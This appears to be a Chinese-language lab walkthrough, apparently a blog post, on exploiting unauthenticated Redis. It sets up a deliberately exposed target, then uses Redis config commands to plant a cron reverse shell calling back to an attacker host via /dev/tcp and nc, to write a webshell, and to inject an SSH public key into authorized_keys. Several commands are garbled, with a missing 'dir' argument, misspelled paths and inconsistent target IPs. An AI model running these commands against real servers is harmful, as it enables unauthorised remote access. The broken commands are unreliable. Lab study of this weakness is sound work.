redis未授权
搭建环境
ubuntu安装并启动redis服务
wget http://download.redis.io/releases/redis-3.2.11.tar.gz#下载压缩包
tar xzf redis-3.2.11.tar.gz#解压
cd redis-3.2.11#进入目录
make#编译执行
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
#把上面两个文件拷贝到/usr/bin/方便使用命令
redis-server#启动服务
cp redis.conf /etc/#把配置文件拷贝到后面文件中
vim /etc/redis.conf#修改配置文件
#注释掉绑定ip:blnd 127.0.0.1,允许除本地外的其他主机访问
#把protected yes中的yes改为no,允许远程连接redis服务
redis-server /etc/redis.conf#使用修改后的配置文件启动服务
systemctl start sshd#开启ssh服务
#关闭防火墙
iptables -F
setenforce 0
getenforce
systemctl stop firewalked
ubuntu的ip:19.168.43.36
kali的ip:192.168.43.149
利用思路
1.用redis命令通过linux任务来反弹shell
/var/spool/crontab--计划任务目录 /etc/crontab--系统级别的计划任务配置
redis-cli -h 192.168.43.36
config set /var/spol/cron/crontabs
config set dbfilename root
set xxo "\n\n/bin/bash -i>&/dev/tcp/192.168.43.149/5678 0>&1\n\n"
kali监听:nc -lvp 5678
2.用redis命令写webshell
config set dir /var/www
3.如果是root身份运行redis则写入ssh公钥
kali:
ssh-keygen -t rsa #生成公钥私钥
cd /root/.ssh
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>pubKey.txt#将公钥写入文件
cat pubKey.txt | redis-cli -h 10.10.10.135 -x set crack#通过管道将公钥写到redis数据库的crack键中
redis-cli -h 192.168.43.36
config set dir /home/greenhill/.ssh
config set dbfilename authorized_keys
save
ssh -i id_rsa greenhill@192.168.43.36
利用条件还挺苛刻的
主要是ssh配置文件
PermitRootLogin yes #允许root登录
PermitEmptyPasswords yes #允许空密码登录
PasswordAuthentication yes #设置是否使用口令验证。
PasswordAuthentication no //yes改为no
RSAAuthentication yes #去掉前面的注释
PubkeyAuthentication yes #去掉前面的注释
AuthorizedKeysFile .ssh/authorized_keys #去掉前面的注释
标签:set,redis,192.168,ssh,授权,yes,config
From: https://www.cnblogs.com/q1stop/p/17903154.html